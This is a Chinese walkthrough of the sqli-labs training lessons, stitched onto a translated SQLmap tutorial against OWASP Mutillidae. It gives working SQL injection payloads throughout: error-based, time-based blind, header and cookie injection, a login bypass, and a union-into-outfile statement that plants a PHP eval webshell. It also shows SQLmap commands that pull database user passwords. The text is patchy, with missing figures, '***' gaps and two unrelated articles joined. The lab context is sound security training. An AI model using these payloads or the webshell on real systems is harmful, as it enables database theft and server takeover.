sqli-labs(lesson1-lesson22)

插入单引号报错

id被单引号包裹，确认字段数

字段为3，使用union select 1,2,3联合查询语句查看页面是否有显示位

有两个显示位，接下来开始爆库名

爆表

爆列

爆值

插入单引号

由报错判断为数字型注入，注入方法同上，把单引号去掉就好

插入单引号报错，输入?id=1')--+发现可以正常显示，判定为字符型注入

注入方法同上，在单引号后面加个括号即可

插入单引号没反应，换用双引号后报错，注入方法同上

看到这个报错有可能是布尔型盲注，时间盲注，报错注入

注入

考虑使用报错注入

and (select 1 from (select count( ),concat((payload),floor (rand(0) 2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句

需要注意的是该语句将 输出字符长度限制为64个字符

and updatexml(1,payload,1)

同样该语句对输出的字符长度也做了限制，其最长输出32位

并且该语句对payload的反悔类型也做了限制，只有在payload返回的不是xml格式才会生效

and extractvalue(1, payload)

输出字符有长度限制，最长32位。

使用floor报错语句注入

输出信息超过一行，只能用limit 0,1一个个输出了

库名出来了，接下来方法就和之前一样了

同样的原理，把?id=1'的单引号换成双引号就行

输入?id=1

输入?id=1 and 1=2回显正常，不是数值型注入

尝试加入单引号发现报错，换成双引号也是一样，加上）依然报错

输入id=5')) --+

使用语句

写入成功

上传木马，使用cknife链接

?id=-1')) union select 1,"<?php @eval($_POST['chopper'])?>",3 into outfile "D:\Software\phpstudy\PHPTutorial\MySQL\muma.php" --+

输入?id=2' --+回显正常

字符型注入，方法同上

输入?id=1' and sleep(5) --+存在延迟，判断为延迟型注入

同上，单引号换双引号

登陆界面，使用万能密码

登陆成功，开爆

爆库：

爆表：

爆字段：

之后方法同上

页面无返回信息，只能进行盲注

猜长度

admin') or length(database())>要猜的长度 and sleep(5)#

猜库名：

admin') or left(version(),1)>'要猜的库名' and sleep(5)#

猜表名：

admin') or ascii(substr((select table_name from information_schema.tables

where table_schema=database() limit 0,1),1,1))>要猜的表名ASCII and sleep(5)#

之后方法同上

之后方法同上

和上面一样，无返回信息，但是可以使用延时注入判断注入点

其余同上

做到自闭，查看源码

莫得用户名和密码注入了

查看源码

存在利用构造User Agent进行注入的可能，上brupsuit抓包改User Agent

得到mysql版本

同理，可得表名等信息

表名

Refer注入

查看源码

存在cookie注入

其他同理

和上题一样，属于cookie注入，先看源码

和上题基本一样，之不过给用户名（uname）进行了base64加密，对注入语句进行加密即可

报错注入

与上题基本一样，'改成”即可

注入语句如下：

Username: jonnybravo’ or 1=1–

该注入语句要做的就是从数据库查询用户jonnybravo，获取数据后立刻终止查询（利用单引号），之后紧接着一条OR语句，由于这是一条“if状态”查询语句，而且这里给出 “or 1＝1”，表示该查询永远为真。1=1表示获取数据库中的所有记录，之后的–表示结束查询，告诉数据库当前语句后面没有其它查询语句了。

图1 正常方式查看用户信息

将payload注入后，服务器泄露了数据库中的所有用户信息。如图2所示：

图2 注入payload导致数据库中所有数据泄露

至此，本文向读者演示了一种基本SQL注入，下面笔者用BackTrack和Samurai 等渗透测试发行版中自带的SQLmap工具向读者演示。要使用SQLmap，只需要打开终端，输入SQLmap并回车，如下图所示：

如果读者首次使用SQLmap，不需要什么预先 *** 作。如果已经使用过该工具，需要使用—purge-output选项将之前的输出文件删除，如下图所示：

图3 将SQLmap output目录中的原输出文件删除

本文会演示一些比较独特的 *** 作。通常人们使用SQLmap时会直接指定URL，笔者也是用该工具分析请求，但会先用Burp查看请求并将其保存到一个文本文件中，之后再用SQLmap工具调用该文本文件进行扫描。以上就是一些准备工作，下面首先就是先获取一个请求，如下所示：

GET /chintan/index.php?page=user-info.php&username=jonnybravo&password=momma&user-info-php-submit-button=View+Account+Details HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 5.1rv:27.0) Gecko/20100101 Firefox/27.0

Accept: text/html,application/xhtml+xml,application/xmlq=0.9,*/*q=0.8

Accept-Language: en-US,enq=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost/chintan/index.php?page=user-info.php

Cookie: showhints=0username=jonnybravouid=19PHPSESSID=f01sonmub2j9aushull1bvh8b5

Connection: keep-alive

将该请求保存到一个文本文件中，之后发送到KALI linux中，用如下命令将该请求头部传给SQLmap：

SQLmap –r ~/root/Desktop/header.txt

Self-Critical Evaluation

命令中-r选项表示要读取一个包含请求的文件，~/root/Desktop/header.txt表示文件的位置。如果读者用VMware，例如在Windows上用虚拟机跑KALI，执行命令时可能产生如下图所示的错误提示：

这里必须在请求头中指定一个IP地址，使KALI linux能与XP正常通信，修改如下图所示：

之后命令就能正常执行了，显示结果如下图所示：

基本上该工具做的就是分析请求并确定请求中的第一个参数，之后对该参数进行各种测试，以确定服务器上运行的数据库类型。对每个请求，SQLmap都会对请求中的第一个参数进行各种测试。

GET /chintan/index.php?page=user-info.php&username=jonnybravo&password=momma&user-info-php-submit-button=View+Account+Details HTTP/1.1

SQLmap可以检测多种数据库，如MySQL、Oracle SQL、PostgreSQL、Microsoft SQL Server等。

下图是笔者系统中SQLmap正在对指定的请求进行检测时显示的数据库列表：

首先它会确定给定的参数是否可注入。根据本文演示的情况，我们已经设置OWASP mutillidae的安全性为0，因此这里是可注入的，同时SQLmap也检测到后台数据库DBMS可能为MYSQL。

如上图所示，工具识别后台数据库可能为MYSQL，因此提示用户是否跳过其它类型数据库的检测。

“由于本文在演示之前已经知道被检测数据库是MYSQL，因此这里选择跳过对其它类型数据库的检测。”

之后询问用户是否引入（include）测试MYSQL相关的所有payload，这里选择“yes”选项：

测试过一些payloads之后，工具已经识别出GET参数上一个由错误引起的注入问题和一个Boolean类型引起的盲注问题。

之后显示该GET参数username是一个基于MYSQL union（union-based）类型的查询注入点，因此这里跳过其它测试，深入挖掘已经找出的漏洞。

至此，工具已经识别出应该深入挖掘的可能的注入点：

接下来，我把参数username传递给SQLmap工具，以对其进行深入挖掘。通过上文描述的所有注入点和payloads，我们将对username参数使用基于Boolean的SQL盲注技术，通过SQLmap中的–technique选项实现。其中选择如下列表中不同的选项表示选用不同的技术：

B : 基于Boolean的盲注（Boolean based blind）

Q : 内联查询（Inline queries）

T : 基于时间的盲注（time based blind）

U : 基于联合查询（Union query based）

E : 基于错误（error based）

S : 栈查询（stack queries）

本例中也给出了参数名“username”，因此最后构造的命令如下：

SQLmap –r ~root/Desktop/header.txt – -technique B – -p username – -current-user

这里-p选项表示要注入的参数，“–current-user“选项表示强制SQLmap查询并显示登录MYSQL数据库系统的当前用户。命令得到输出如下图所示：

同时也可以看到工具也识别出了 *** 作系统名，DBMS服务器以及程序使用的编程语言。

“”当前我们所做的就是向服务器发送请求并接收来自服务器的响应，类似客户端－服务器端模式的交互。我们没有直接与数据库管理系统DBMS交互，但SQLmap可以仍识别这些后台信息。

同时本次与之前演示的SQL注入是不同的。在前一次演示SQL注入中，我们使用的是前缀与后缀，本文不再使用这种方法。之前我们往输入框中输入内容并等待返回到客户端的响应，这样就可以根据这些信息得到切入点。本文我们往输入框输入永远为真的内容，通过它判断应用程序的响应，当作程序返回给我们的信息。“

结果分析

我们已经给出当前的用户名，位于本机，下面看看它在后台做了什么。前文已经说过，后台是一个if判断语句，它会分析该if查询，检查username为jonnybravo且7333＝7333，之后SQLmap用不同的字符串代替7333，新的请求如下：

page=user-info.php?username=’jonnybravo’ AND ‘a’='a’ etc..FALSE

page=user-info.php?username=’jonnybravo’ AND ‘l’='l’ etc..TRUE

page=user-info.php?username=’jonnybravo’ AND ‘s’='s’ etc..TRUE

page=user-info.php?username=’jonnybravo’ AND ‘b’='b’ etc..FALSE

如上所示，第一个和最后一个查询请求结果为假，另两个查询请求结果为真，因为当前的username是root@localhost，包含字母l和s，因此这两次查询在查询字母表时会给出包含这两个字母的用户名。

“这就是用来与web服务器验证的SQL server用户名，这种情况在任何针对客户端的攻击中都不应该出现，但我们让它发生了。”

去掉了–current-user选项，使用另外两个选项-U和–password代替。-U用来指定要查询的用户名，–password表示让SQLmap去获取指定用户名对应的密码，得到最后的命令如下：

SQLmap -r ~root/Desktop/header.txt --technique B -p username -U root@localhost --passwords

命令输出如下图所示：

Self-Critical Evaluation

有时可能没有成功获取到密码，只得到一个NULL输出，那是因为系统管理员可能没有为指定的用户设定认证信息。如果用户是在本机测试，默认情况下用户root@localhost是没有密码的，需要使用者自己为该用户设置密码，可以在MySQL的user数据表中看到用户的列表，通过双击password区域来为其添加密码。或者可以直接用下图所示的命令直接更新指定用户的密码：

这里将密码设置为“sysadmin“，这样SQLmap就可以获取到该密码了，如果不设置的话，得到的就是NULL。

通过以上方法，我们不直接与数据库服务器通信，通过SQL注入得到了管理员的登录认证信息。

总结

本文描述的注入方法就是所谓的SQL盲注，这种方法更繁琐，很多情况下比较难以检测和利用。相信读者已经了解传统SQL注入与SQL盲注的不同。在本文所处的背景下，我们只是输入参数，看其是否以传统方式响应，之后凭运气尝试注入，与之前演示的注入完全是不同的方式。

---